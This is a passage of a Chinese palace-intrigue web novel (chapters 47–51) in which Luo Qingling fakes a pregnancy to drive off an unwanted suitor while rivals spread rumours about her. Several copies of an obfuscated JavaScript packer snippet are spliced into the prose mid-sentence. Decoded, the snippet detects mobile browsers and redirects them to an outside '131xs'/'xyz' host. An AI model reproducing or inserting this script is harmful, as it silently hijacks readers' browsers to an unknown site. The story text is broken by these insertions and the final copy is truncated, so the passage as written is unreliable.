洛清泠瞥着李五道：“你就是看八年书，不自己养护一次，仍然不知道其中深浅，李五，我再问你一次，你看清了，这株紫罗花，是你养的那一株？” 那李五早已说不出话来了，不住地发抖。 皇后一拍桌子，喊道：“来人！将此人拿下，好生审问！” “小人冤枉！小人冤枉啊！” 李五立刻哭了起来，宫人将他提起来时已经彻底吓软走动不得了。 宋绾绾独自一人站在紫罗花面前，紫罗花还在缓缓飘洒着花瓣，众人视线一点点虐过来，带着戏谑，让她如同被人扇了一耳光，脸上火辣辣的。 “主持公道固然好，但是非不分缘由不明就出面主持公道，谁知道主持的到底还是不是公道。” 洛清泠嘲讽地看了宋绾绾一眼，回到位置上坐下了。 皇后脸色稍缓，也不看宋绾绾，只道：“这场百花宴的头筹是谁，本宫想，诸位都没意见了吧。” “实至名归。” “楚少夫人不光花养得好，对花道一事的研究也颇有深意，倒是的确堪得上着头筹之名者啊……” “……” 听着陆陆续续的夸奖，皇后才彻底高兴起来，笑着对洛清泠招手：“来，清泠。” 洛清泠上前听封，皇后身后，青松公公捧着一匣子笑眯眯上前来。 匣子打开，却是一套点翠的前朝凤冠，众人发出惊呼，不少人都艳羡地看着洛清泠。 洛清泠跪下谢恩，却不接那匣子。 “百花宴头筹是紫罗花，臣妇不过是取了个巧罢了，如此华贵凤冠，唯有配娘娘才不辱没了它的光彩。” “臣妇今日就借这个巧，恳请娘娘收下凤冠。” 皇后一愣，抿着嘴笑起来：“难为你有这份心。” 青松公公又捧着凤冠下去了，皇后叫洛清泠起来，赏赐了其他宝物数样。 赵承宇看得眼珠子通红。 等洛清泠再次回到自己的位置上，身后，何琳琅甩袖离开。 “哼，楚少夫人倒是好手段，谁都要巴结一口，倒是惯会经营的。” 她瞪了洛清泠的背影一眼：“我们这样老实的小姐，还真真是连点汤水都喝不上呢。” “喝不上汤就自己熬去，老盯着别人碗里的做什么。”楚砚寒冷冷看着她：“你是乞丐吗？” 何琳琅脸色一红，快步走了。 百花宴选出头筹后，宴席便正式开始了，众人移步千山园用膳赏花。 洛清泠落在最后，不住有人上前来讨教紫罗花养护一事，她一一答了，好容易才把众人打发，松了口气。 楚砚寒上前，抬手预扶一扶，到底还是收了手，任由青云将洛清泠搀扶住。 “世子，”洛清泠歇了歇口，笑着想楚砚寒道：“赵承宇那些凋谢的蓝白玫瑰，可是你的手笔？” “清冷既然知道了，何必再问。”楚砚寒也笑了一下，原本有些焦躁的情绪不知不觉就被排解了去。 “只是好奇世子是怎么做到的。” 众目睽睽之下动手，还能不被抓到把柄，楚砚寒的手段，倒是不小。 众人还没看清那玫瑰的模样呢，就凋谢了。 第四十七章 野种 “一些不入流的小手段罢了。” 楚砚寒解释了一句，又问洛清泠是否要回去。 他这边按住了赵承宇，洛清泠又解决了宋绾绾，这两人暂时应该不会作妖了，接下来的百花宴应当没什么幺蛾子了。 ……倒是可以和清冷在院子里逛逛。 他耳后红了一片，纠结着要不要发出邀请时，却听前面传来喧哗之声。 赵承宇手中捧着一支蓝白玫瑰一路走来，看见洛清泠，自认为洒脱风流地露出一个笑容来。 “清冷，这是我特地命人回府中取来的，没有经过他人之手，不会被人算计，绝对不会再次枯萎。” 赵承宇定定地看着洛清泠：“清冷，三年了，你应当明白我的心意。” “今日，我接着皇后娘娘的百花宴，以这一支蓝白玫瑰，向你求婚。” “此花在我越国境内，代表着忠贞和爱情，清泠，你可愿不计前嫌，嫁给我？” 娇嫩的花朵就这么摆在眼前，挡住了去路。 洛清泠冷冷看着那花，余光瞥见还有其他人也正走来。 “皇上驾到——” 一道尖细的声音响起。 众人唬了一跳，连忙跪下请安：“吾皇万岁万岁万万岁！” “众卿平身。” 皇后迎接上去，若有似乎想要挡住洛清泠和赵承宇。 “陛下……” “陛下！”越国使臣忽然站出来，道：“我越国是真心求娶贵国洛清泠姑娘，如此一全我国赵世子对洛姑娘的一片痴心，二则，也是我两国交好的一个象征。” 皇帝凉凉地抬起眼眸，看向洛清泠和正在求婚的赵承宇。 楚砚寒的脸色已经完全沉了下去。 若不是洛清泠负手身后拉着他的衣摆，他就算是得罪皇帝，也要替她拒了这门亲事！ “刚才我一见这花就心生欢喜，奈何落花太快，不见真容。”洛清泠眼眸微动，落在赵承宇身上，展颜一笑：“没想到世子还有一朵。” 然而她脸上的笑容还没彻底展开，又克制地收敛了回去。 “既然如此，也是我们的缘分，清泠，你可愿接了此花，嫁给我？” 洛清泠脸上飘上一抹红晕，犹豫地看了他一眼，接着对皇帝行了一礼：“臣妇是皇室宗妇，一切听从陛下安排。” 听皇帝的？ 那不就是应下了么！ 转折来得太快，赵承宇差点没从这一份惊喜里回过神！ 皇帝只是眯着眼看着洛清泠。 不知道洛清泠到底要耍什么花招。 上次答应要嫁给赵承宇，转头就把他的皇侄女赔了进去，这一次，洛清泠，你又在算计什么？ “陛下！” 赵承宇慌里慌张地回头，想要向皇帝求旨。 却听一道叹息似的嘀咕声在身后响起。 “若是能尽快嫁过去就好了，这样，我肚子里的孩子，也有父亲了……” 一道晴空霹雳！ 赵承宇脸上的笑容骤然僵硬。 他刚才听见了什么？ 洛清泠肚子里的孩子？ 有父亲？ 她不是一个孀居寡妇么！ 那楚明霄甚至都没和她见上一面就已经**，洛清泠应该还是完璧之身才是，哪里来的什么孩子？ “洛清泠，你可想好了？” 皇帝意味深长地看着洛清泠。 “臣妇但凭陛下做主——” “等等！” 赵承宇骤然出声打断，紧张地看着洛清泠：“洛、洛清泠，你真的想好了？” 宋绾绾在人群之外，皱了皱眉。 这个赵承宇到底怎么回事？ 洛清泠这个时候在众目睽睽之下松口答应你成婚，你顺杆往上爬，反而过去问她是不是真的想好了是什么意思？ “世子？”洛清泠疑惑地看着他，还伸出手来想要接过他手中那朵蓝白玫瑰。 赵承宇下意识往后一藏：“你怎么脸色这么红？” 他惊叫一声：“是不是身体哪里不舒服？” 说着就对洛清泠伸手。 洛清泠鼻尖闻到一股异香，立刻明白是赵承宇在对自己下**。 她屏住呼吸，脚步踉跄了一下。 楚砚寒眼疾手快将她扶住。 赵承宇连忙退开，勉强露出一个担忧的表情：“洛、洛姑娘可能是对我这玫瑰过、过敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737631|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我看我还是先离洛姑娘远点吧，可别害了你！” 说完，一溜烟就回到了自己的使臣堆里，面上还有些抽搐。 “你搞什么鬼！” 一人低着声音骂道：“没看到皇帝脸色都变了吗！” 赵承宇哪里顾得上自己现在有没有付了皇帝的面子，洛清泠那句话就已经将他吓了个魂飞魄散。 试问哪个男人愿意平白无故当这个接盘的，给别的男人养孩子？ 若不是洛清泠一时心情放松说漏了嘴，到时候…… 越想赵承宇脸色就越扭曲。 他就说洛清泠怎么忽然松口了！ 感情是为了让他给她养野种！ 这个**！想都不要想！ “听我的，我自有打算，洛清泠不能娶！” 如此水性杨花的人，就算娶回来，难保日后她生下的孩子到底是谁的种！ “清冷？” 楚砚寒扶着洛清泠，有些担忧：“太医！” 洛清泠在他手臂上轻轻捏了一下，楚砚寒顿时明白过来。 “不、不要太医！” 洛清泠连忙站起来，摆手推拒道：“我没事，只是一时没站稳罢了。” “不叫太医怎么行？你的身体——” 洛清泠一跺脚，低声说了什么，楚砚寒的脸上顿时出现了一片空白之色。 赵承宇看得直咬牙。 不肯叫太医，不就是害怕被诊出喜脉吗！ 洛清泠绝对就是怀了野种无疑了！ 宋绾绾的视线在三人之中打转，不知道到底发生了什么事情。 但毫无疑问——洛清泠肯定又使坏了！ 皇帝见当事人都不着急了，也就歇了心思，淡淡地瞥了几人一眼，和皇后一起坐了上座。 百花宴结束之后，宋绾绾立刻去找了赵承宇，一进门就骂道：“你到底在干什么！那么好的机会，只要你点头，陛下就能立刻赐婚！” “你怎么在这么关键的时候反悔？” 宋绾绾都要气疯了。 尤其是洛清泠那一个“哎哟没站稳”，就直接摔进了楚砚寒的怀里，更是看得她眼珠子都红了。 那个**！ 第四十八章 洛清泠你完蛋了！ “你懂什么！” 赵承宇脸色也不好看，盯着宋绾绾看了半晌，忽然冷笑道：“我娶不娶洛清泠是我的事儿，郡主这么着急做什么？” “怎么，是着急想要将那种不干净的女人塞给我？” “什么不干净的女人？” 宋绾绾一愣，只当赵承宇从哪里听说了洛清泠和楚砚寒的风言风语，连忙否认道：“你别又随便听什么谣言，中了洛清泠的轨迹。” 赵承宇沉默。 洛清泠的确……各种诡计层出不穷。 但，拿自己的清白做戏，可能吗？ ＊ 另一边，洛清泠回到东苑，楚砚寒也跟了进来。 “清冷，你和赵承宇说了什么，他怎么忽然这么怕你？” 洛清泠道：“我怀孕了。” “轰！” 楚砚寒骤然愣在原地，只觉得世界都在旋转！ 怀、怀怀怀孕了？ 洛清泠嫁入王府三年，也就那一次、那一次—— 楚砚寒脸上爆红一片，脖子上青筋都出来了。 他转身就往外走：“我这就去找父王——” 求父王做主，求皇帝赐婚！ 他心跳得厉害，脚下仿佛踩着棉花一般，走起路来都飘飘忽忽的。 洛清泠在后面喊了好几声都没听见。 青云连忙上前将门关了，楚砚寒这才回过神。 他深呼吸一口气，看着洛清泠，认真道：“不用担心，我会——” “你这么着急做什么，”洛清泠无奈地飞了他一眼：“我说我怀孕了，赵承宇怕接盘，自然躲我躲得远远的，不过这假怀孕做戏也要做全套——” “假怀孕？” 楚砚寒抓住了关键词，立刻追问。 “嗯？怎么了？” 洛清泠眨了眨眼睛，殊不知将楚砚寒的心跳也跟着眨没了。 他眼中的茫然和激动渐渐褪去，又重复了一句：“假怀孕？” 洛清泠见他模样，知道他想歪了，忽然想到自己和眼前的男人有过肌肤之亲，心中顿时一颤。 她给青云使了个眼色，青云立刻屏退旁人，自己也关了门出去。 “世子以为是那一次？” “……” 楚砚寒别开了脸，嗓音闷闷的：“嗯。” “放心，我自己的身体我自己清楚的。”洛清泠笑着安慰了一句。 楚砚寒却怎么都静不下心来。 他虽然对外是个纨绔浪荡子，但到底不曾婚配，对男女之事，却缺失一个非常重要的观念。 此时听到洛清泠怀孕一事，才骤然惊觉，两人那一次…… “我……” 楚砚寒口干舌燥得厉害，嗓子也喑哑下来：“我……” 洛清泠打断他：“世子若是不放心，便叫大夫来瞧瞧就是了。” 洛清泠笑眯眯道。 “我立刻就去找！” 楚砚寒说完就走。 没一会儿就秘密带了信得过的大夫回来给洛清泠诊脉。 “少夫人身体很好。”大夫说。 楚砚寒说不清自己心里到底是怎么个滋味。 从听到洛清泠怀孕，到认为那个孩子可能是自己的，再到洛清泠其实没有怀孕…… 好似把一声的悲欢滋味都体味了个遍。 他闷闷地送大夫出去，又在门口站了一会儿，眼神空荡荡地盯着街道。 ＊ “当真？” 赵承宇放下茶杯，追问道：“你亲眼所见？” “是啊！世子，小人亲眼看见楚公子请了郎中进府，然后又亲自送郎中出来，那表情，别提多难看了！” 可不应该难看么！ 自己兄长的寡嫂在外面乱来，忽然怀孕了！ 换成是他，他就气**！ “肯定无疑了……肯定无疑了……”洛清泠就是怀了野种，现在慌不择路想要找接盘侠呢！ 百花宴之后，洛清泠的名声打响，不少人都想上门讨教，却只得到一个闭门羹。 “我家少夫人病了，诸位改日再来吧。” 好好儿的怎么忽然就病了？ 众人不得其解，有些人想要向楚砚寒打听消息，却都被他无情地骂了一顿。 “这平西王府到底怎么回事！” “一个个的，不是生病就是暴脾气，是吃错药了不成！” 消息穿进宋绾绾耳朵里，她思索了一番，直觉楚砚寒发脾气是因为洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737632|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清泠，便特意着人打听了楚砚寒的行踪，在天香楼里来了一场偶遇。 “楚世子。” 宋绾绾其实只是来试试，楚砚寒平日里对她都没个好脸色，何况现在更是臭着一张脸，看着烦闷得很呢。 谁知道楚砚寒抬头看了她好一会儿，忽然指着凳子到：“郡主请坐。” 宋绾绾受宠若惊，在桌边坐了。 楚砚寒身上满是酒气，一个人点了一桌子菜，却只酗酒，想来是愁苦得紧了。 “世子可是有什么烦心事？”宋绾绾轻声细语地劝慰道：“有什么烦心事了，别憋在心里，只说出来就好了，憋在心里可会憋出病来的。” “我虽然不是什么男儿，不懂你们的时事**，但若是世子不介意，可以将我当做一个树洞。” 她说着，脸色已经红了一片，一副小女儿的娇羞姿态。 楚砚寒却还是只喝酒，一杯又一杯，喝到眼眸都迷离了，宋绾绾一抬手，按住了酒壶。 “世子……” 楚砚寒哼笑一声，将杯子丢开了。 “宋绾绾，前两日，我有一个兄弟给我来了封家书。” 宋绾绾心头一跳，知道楚砚寒这是要给自己说心事了，激动得连忙双手紧握。 “他老家有一老母，本有两个儿子，他和他哥哥。但不幸他哥哥早年**，只留下了一个成亲三……成亲五年的新妇。” “我那兄弟时常说，多亏了那寡妇嫂嫂，在家照料着老母，他才能这么放心在外闯荡。” “谁知道，我那兄弟这次回老家探亲，却看见他那寡嫂大了肚子……” 楚砚寒又哼了一声，眼中不知道是嘲讽还是困惑。 “我那兄弟愁啊，不知道该怎么办了。几年情分，又有恩情，他做不到将那寡嫂赶出家门的事……” 他说着，声音越来越小，竟然有了几分困意在里头。 宋绾绾只听了两句，就发现了不对。 什么楚砚寒的兄弟？ 这分明就是说的楚砚寒和洛清泠！ 洛清泠——怀了野种？ 她心头一阵狂喜，面上也不自觉带出来一点无法压制的喜色。 洛清泠！ 这次，你彻底完了！ 第四十九章 清冷日后嫁给你，本宫也放心 “这嫂子也太过分了！” 宋绾绾倒了杯茶来：“简直就是给我们女子丢脸！” “常言嫁鸡随鸡嫁狗随狗，她虽嫁了个死丈夫，那也该是她的命！” “谁知道那丈夫是不是给她给克**呢？” 楚砚寒抬起头来，森然的眼神在宋绾绾脸上一定，又变成了醉醺醺之态。 “世子别嫌我狠毒刻薄，你那兄弟此时最是应该狠下心肠来了，将他嫂子浸了猪笼，免得将来生出更多的祸患来。” “哗啦啦——” 满桌酒菜猛地被掀下桌去，宋绾绾吓了一跳，惊愕地看着楚砚寒。 楚砚寒淡淡地看着地上那些残羹冷炙，半晌才冷笑了一声：“那这么多年的情谊怎么办？” “当断不断，必受其乱，世子难道连这个道理也不懂？” 宋绾绾大着胆子说了一句，只当没看出楚砚寒这忽然暴起的脾气有什么不对。 楚砚寒垂下眼眸，脸上露出两分疲惫：“罢了……再议吧。” 说完，越过宋绾绾，出了房去。 宋绾绾见楚砚寒已经上了马车，往王府去了，便立刻出来，让筠儿立刻去找何琳琅，将洛清泠背着亡夫偷人，肚子里已经有了野种的事告知。 她知道，以何琳琅的性子，绝对会将这件事宣扬出去，而且还会闹得人尽皆知！ 很快，京城的流言就传开了。一人一句，说起来头头是道，还有人透露，说现在每次路过平西王府门口，都能听见府中传来的争吵声。 似乎是世子大发雷霆。 如此，关于楚砚寒最近心情不好的事，也有了解释。 消息传入皇宫，皇后心神大乱。 她根本不信洛清泠会做出这样的事情来！ “立刻传本宫旨意，将清泠叫进宫来！” 很快，洛清泠就进了宫，皇后连忙命人将宫门关上，有屏退了旁人。 “清冷，现在这里没有外人，你告诉本宫，你可有听见了外头的传闻？” 她细细打量着洛清泠，听说平西王府日日争吵不断，也是真担心她会在王府里吃亏。 但洛清泠看上去面色红润，倒是没有什么吃亏的模样。 “娘娘是为这件事叫臣妇进宫？” 洛清泠看皇后面色严肃，知道她是担心自己，一时心软，就要合盘脱出—— “皇上驾到——” 青松公公尖利的嗓音打断了她。 皇后眉心一簇。 她才把洛清泠叫来，皇帝也闻着味就来了，估计也是听到了外头的传闻。 正想着，手中力道一紧。 却是洛清泠抓着她的手，直接跪了下来，抽抽噎噎，哭个不住：“还请娘娘体恤，臣妇虽出身将门世家，但到底也是个女子……这些年在王府，也不过是守着活寡罢了……” 她呜呜咽咽哭得伤心，皇后脑子早已乱成一锅粥了。 “荒唐！” 大门被大力推开，皇帝怒气冲冲走进来。 “陛下——” 皇后连忙想要将洛清泠护在身后，皇帝视线锐利地盯着洛清泠：“你身为宗妇，却做出如此不知检点之事，现在还闹得沸沸扬扬，洛清泠！你该当何罪！” “臣妇知罪！” 洛清泠哭道：“臣妇自知罪孽深重，本想尽快嫁给赵承宇，一则替陛下排忧解难，二则也好保全皇家名声……谁知道……” 谁知道被人发现传开了是不是？ 皇帝气了个倒仰。 他就说那日洛清泠怎么忽然愿意松口，原来是这个缘故！ 然而皇后看着洛清泠伏跪在地的清瘦背影，脸上闪过一丝古怪神色。 现在也不过都是些没影儿的事，若是不想承认，刚刚才听见青松报信时，就应当收敛起来才是，怎么反倒是突然发作了？ 而且洛清泠这孩子，何时哭得这么不由自己了？ 除非……这是她想让别人发现的事。 清泠这孩子到底过的是什么苦日子，女子的名节何其重要，道现如今，却不惜用名节，来摆脱当前的困境么。 “还请陛下息怒。”皇后顺了顺皇帝的心口：“清泠做出这等事来，的确不应该，但现在外头也只是一些谣言罢了，既没有切实的证据，只一碗汤药下去，将这孩子打了就是了……” “臣妇愿意！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737633|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 洛清泠叩头道：“臣妇恳请陛下替臣妇掩盖了这桩丑事，等臣妇将孩子打掉，也可以立刻再嫁……” 皇帝心头一动。 皇后和洛清泠说的……也不无道理。 洛清泠到底有没有怀孕，其实不重要，只要大家信了就行，到时候塞给了赵承宇，赵承宇又能说什么呢？ 只是想到自己要出面给洛清泠遮掩丑事，心中到底气得很，最后甩袖离开。 不多时，云福公公就带着让洛清泠禁足王府的御令来了。 皇后松了口气，拉着洛清泠，低声道：“清冷，你实话告诉我，你到底想要做什么？” 洛清泠拍了拍皇后的手：“娘娘不必为我担忧，我这也不过是权宜之计。” “那也不该拿你的名声如此胡来！”皇后叹了口气：“罢了，若是有什么需要帮忙的，便告诉本宫。” 洛清泠想了一想，笑道：“不瞒娘娘，还真有一件事，想请娘娘帮助。” 翌日。 洛清泠被关了王府禁闭，赵承宇则是接到了皇后的懿旨，被召传进了凤仪宫。 “微臣参见娘娘！” “赵世子，快快请起。” 皇后捧着手炉，打量着赵承宇，那眼神看得赵承宇浑身发毛。 “娘娘……”赵承宇迟疑道：“不知道忽然召微臣前来，是有何吩咐？” 皇后招手道：“不着急，咱们坐下说。” 赵承宇忐忑地坐下了。 “赵世子，你觉得清泠是个怎么样的姑娘？” 皇后意味深长地看着赵承宇。 赵承宇头皮一紧，有些慌乱道：“这、洛姑娘是楚少夫人，我一个外男，实在是不好随意评价。” “无妨无妨，”皇后招招手，笑眯眯道：“本宫今日叫你来，也只是想和你随便俩聊天，不用这么紧张。” “是，是……” “清泠是本宫看着长大的孩子，漂亮，聪慧。那日百花宴，本宫见你对清冷一片赤诚之心，又听说你为人不错，才想叫你近前来看看。” “如今一看，果真是仪表堂堂，清泠日后嫁给你，本宫也放心。” 第五十章 无福消受 嫁谁？ 谁嫁谁？ “不不不不——” 赵承宇一急，直接站了起来：“不不不娘娘，这没影儿的事就不用提了，微臣没有这个抢夺他**子的嗜好！” “微臣和楚少夫人只是有过几面之缘，之前有些误会，有些误会罢了！” 皇后没有说话。 不慌不忙地端着茶盏，意味深长道：“不瞒世子，近日本宫听到些子虚乌有的流言，还生气呢。想着你这孩子应该不是这样偏听偏信的，现在看来，赵世子应该是将那些流言听进去了。” 赵承宇尴尬地站着，又忍不住顺着皇后的话问道：“娘娘的意思是，那些话都是……” “都是些假的罢了，皇上也知道了这件事，很生气，好好儿的拿一个寡妇的名声来取笑，这些人，当真是好没脸！” 皇后将茶盏一放，冷声道：“世子若是不信，只等陛下下旨澄清就是了。” 陛下竟然要出面解释？ 不不——他可是听洛清泠亲口说的呢！ 不不不——洛清泠此人向来狡猾，说不定这些话就是故意说给自己听的，好让自己放弃娶她…… 可是…… 可是…… 赵承宇眉心拧紧。 真真假假假假真真，洛清泠到底怀孕了没有啊！ “行了，本宫乏了，赵世子，本宫就不多留你了。” “这是非真假，赵世子心中想必也有一杆子称，本宫就不多说了，赵世子自己好好想想。” 赵承宇呐呐应声，识趣告退出来，心里还想着这件事。 如果皇帝亲口否认洛清泠怀孕，那他—— 正想着，走到一处转弯处，忽然听见两个宫人在外头嚼舌根。 “听说楚少夫人的闲话了么？” “怎么没有听说，外头都传遍了——你说，这话到底是真是假啊？好好儿的，怎么传出这样难听的话来，可不是要楚少夫人的命呢不是？” “你懂什么，这天底下没有不透风的墙，自己做了丑事，就该有哪天被人发现的准备。” “照你这意思……这件事，是真的？” “嗯哼。” “……好姐姐，你就跟我说了吧！” “哎呀你个小蹄子，烦死你了！那我跟你说了，你可别告诉旁人——这件事呀，确真无疑！昨日我补了秋儿姐姐的空，在御前当差呢不是？我听见呀——” 说话之人压低了声音，赵承宇不由伸长了脖子去听。 “我听见呀，陛下打算让那位肚子里的孩子打掉，然后和赵世子联姻呢！” “什么？那要是被发现了——” “发现了又怎么样，到时候人都已经娶过去了，还能让他反悔不成？” “……” 那两个宫人说说笑笑走了，赵承宇呆愣在原地，拳头捏得死死的。 半晌，他才发出一声难听的笑声。 这些人，把他赵承宇当成什么人了？ 这样一个破鞋塞过来，不就是打算让他当冤大头吗！ 这件事——绝不可能！ 赵承宇气冲冲走了，头也没回，跟个怨灵似的。 青松公公从另一边转出来，注视着赵承宇离开的方向。 半晌，他才回身，塞了两个荷包给身后的两个宫女：“什么话该说，什么话不该说，都给杂家记住了。” “是，公公！” …… 楚砚寒接了消息，带给洛清泠，洛清泠还在院子里看自己的紫罗花。 楚砚寒轻咳一声，才道：“清泠，宫中传出的消息。” “嗯？说什么了？” 洛清泠完全信任的模样，让楚砚寒心中有些不是滋味。 他依言展开了信件，三两下看完，道：“赵承宇已经确定你有了身孕，被吓得从宫中离开，头都不敢回，怕稍有犹豫就会被皇后娘娘抓起来和你成婚。” 洛清泠噗嗤一笑：“之前不是还上赶着要和我成亲呢？这就怕了？” “一个没什么脑子的玩意儿罢了。”楚砚寒将信件叠好，收拢掌心，用内力震碎成了粉末。 “准备配合皇帝的行动吧。” 两日后，洛清泠有身孕一事又被官爷们反驳，谁敢再胡说，还要吃板子，一时风声鹤唳起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742992|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛清泠在王府呆够了，也像陛下**，解除了禁足，带着楚砚寒去城郊骑马去了。 两人一出城门，就换了马车，一身劲装上马。 此时正是进城人最多的时候，不少人就看见洛清泠一夹马肚子，英姿飒爽，和楚砚寒骑马远去了。 “那好像是……楚少夫人？” “是，没错，她旁边那个，不就是楚世子呢么？” “不是说……哎呀，怎么还骑马呀，我看那肚子也没鼓起来，想来月份还小呢，这个时候骑马，不是安心要把孩子……” “嘘嘘！不要命啦！” “我看呐，那位兴许就是根本就没有孩子！这些天不知道哪里来的小道消息，传得这么沸沸扬扬的！” “……” 洛清泠已经许久没有这样骑过马了。 劲风擦过脸颊，马儿奔跑的跌宕，都让她心神震荡。 她被关锁在后宅大院，太久了。 “清冷，不要太过着急，当心受伤。” 楚砚寒骑着马就走在洛清泠身边，两人在外骑了一圈，最后还是楚砚寒觉得洛清泠许久没有骑马，一下子骑马太久伤了，洛清泠这才意犹未尽地下了马来。 “谢谢你。”洛清泠偏了偏头，她的手指陷在马鬃里，带着几分留念和不舍。 楚砚寒勾了勾唇。 ＊ 城郊是王公贵族骑马散心的好去处，也有小厮们歇脚的客栈茶楼。 自从上次和赵承宇在酒楼想见的事被老板抖落出来给自己惹了一身骚后，宋绾绾就不怎么愿意和赵承宇见面了。 但又不得不和赵承宇想见，只能把人约到外面来。 赵承宇满脸不耐地来了，一进门就冷笑道：“郡主又有什么指教？” “赵承宇，你这是什么态度？” 宋绾绾下意识想要发脾气，但想到赵承宇还有用，只能不耐烦地压下了心中的不满，道：“现在洛清泠正是不被待见的时候，你这个时候不去像陛下求取，还打算拖到什么时候？” “算了。”赵承宇摆摆手：“你们国家的姑娘，本公子啊，无福消受，这人，我娶不起！” 第五十一章 微臣不敢 “你们还是自己当个宝贝一样地留着吧！” 赵承宇现在最不耐烦别人跟他说这件事。 洛清泠的流言满天飞的时候，他走在路上都会被指指点点。 那些不明真相的人说他是个专捡破鞋的，眼光差。一想到自己之前那样坚定又高调地要娶洛清泠，赵承宇就心烦意乱。 他一口喝干手中的茶盏，站起身就要走。 “慢着，”宋绾绾慢条斯理地瞥着他：“不就是为了外面的流言么，那都是假的，你不会信了吧？” 是真是假，还用得着她宋绾绾告诉自己？ 赵承宇冷笑两声，看傻子似的看着她。 “不打扰郡主雅兴，我这就走。” 眼看赵承宇就要走出房门，宋绾绾眼底阴沉了一瞬。 “谣言是我放的，你可信了？” 宋绾绾抬了抬手，旁边一小角门推开，何琳琅缓缓走了出来。 赵承宇眯着眼睛看这两人，。好一会儿才道：“郡主这是干什么？” “不干什么，琳琅，你和赵世子说说，到底是怎么回事？” 何琳琅点点头，不屑地哼了一声：“这些谣言就是我命人传播出去的，洛清泠那个**，几次骂我，我非要给她个好看！” “若是你没听到什么风声，敢放这样的谣言？洛清泠不生吃了你！” 赵承宇还是冷笑，但到底没说要走了，而是在桌边坐下。 “事关女子清誉，你一个男人懂什么。别人一张嘴，就能杀死一个人，洛清泠现在是个寡妇，都说寡妇门前是非多，就算她出来澄清，别人眼中也只当是她狡辩罢了。” 宋绾绾嗤笑一声：“等她名声臭了，”自然就不敢和楚砚寒搅和在一起了。 “等她名声臭了，王府为了摆脱她这个麻烦，自然是不肯再要她的，到时候，洛清泠无依无靠的，你一说要娶，陛下不就直接答应了么？” 赵承宇垂眸不说话。 现在说洛清泠挑丈夫的时候吗？ 现在是洛清泠求着别人娶她的时候！ 他沉思半晌，抬起头来，面函嘲弄：“郡主这么为我铺路，其实是为了把洛清泠送楚砚寒身边支走吧，免得她日日在楚砚寒面前晃的，人家楚世子看不上你。” “你！” 宋绾绾一拍桌子，心口急速起伏了几下：“算了，跟你个痴子也说不清！反正现在机会摆在你面前了，你想怎么做，你自己想想清楚！” 宋绾绾带着何琳琅一道走了，赵承宇坐了一回也走了。 不一会儿，厢房里响起稀里哗啦小二收拾桌子的声音。 厢房隔壁，另外一间包厢，两男一女三人坐在桌边。 楚砚寒沉着脸道：“原来是这样的好算计。” “碰！” 楚砚寒抬眸，笑了笑：“乔兄息怒，不要生气，不要生气。” 乔明朗脸色阴沉：“郡主刚才口中所喊琳琅者，可是何家那位小姐？” “不知道。” 楚砚寒摊手：“最近嫂子为流言所伤，到今日陛下才肯给个说话，我想着带嫂子出来散散心，哪里想到会撞破这些东西。” 他眼底弥漫着杀意，一闪而过。 “太过分了！” 乔明朗是大理寺卿，前两日出京处理事务，今日才回来。 在路边正好遇见的洛清泠和楚砚寒在遛马，双方打了个招呼，便一起到这春日小馆来歇脚吃茶。 谁成想刚说上话，隔壁就传来了这样的声音。 “分明都是女子，自然更应该知晓女子处世的艰难，竟然还要恶意放出谣言来……” 乔明朗咬住话头，看了洛清泠一眼。 洛清泠只是清清淡淡地坐着，丝毫没有被这些闲言碎语扰乱心神，更没有直接冲过去要找他们要个说法。 乔明朗心中佩服，语调也跟着温和了不少：“少夫人不必为这些事情置气。” “不论我有身孕与否，做出不检点事情与否，自有平西王府处理，也轮不到她宋绾绾来宣传处置。”洛清泠摇摇头，反倒是安慰了乔明朗一句：“他们想怎么干是他们的事，我洛清泠行得正坐得端，不怕说去。” 乔明朗听如此说，心中也有了一杆子称。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 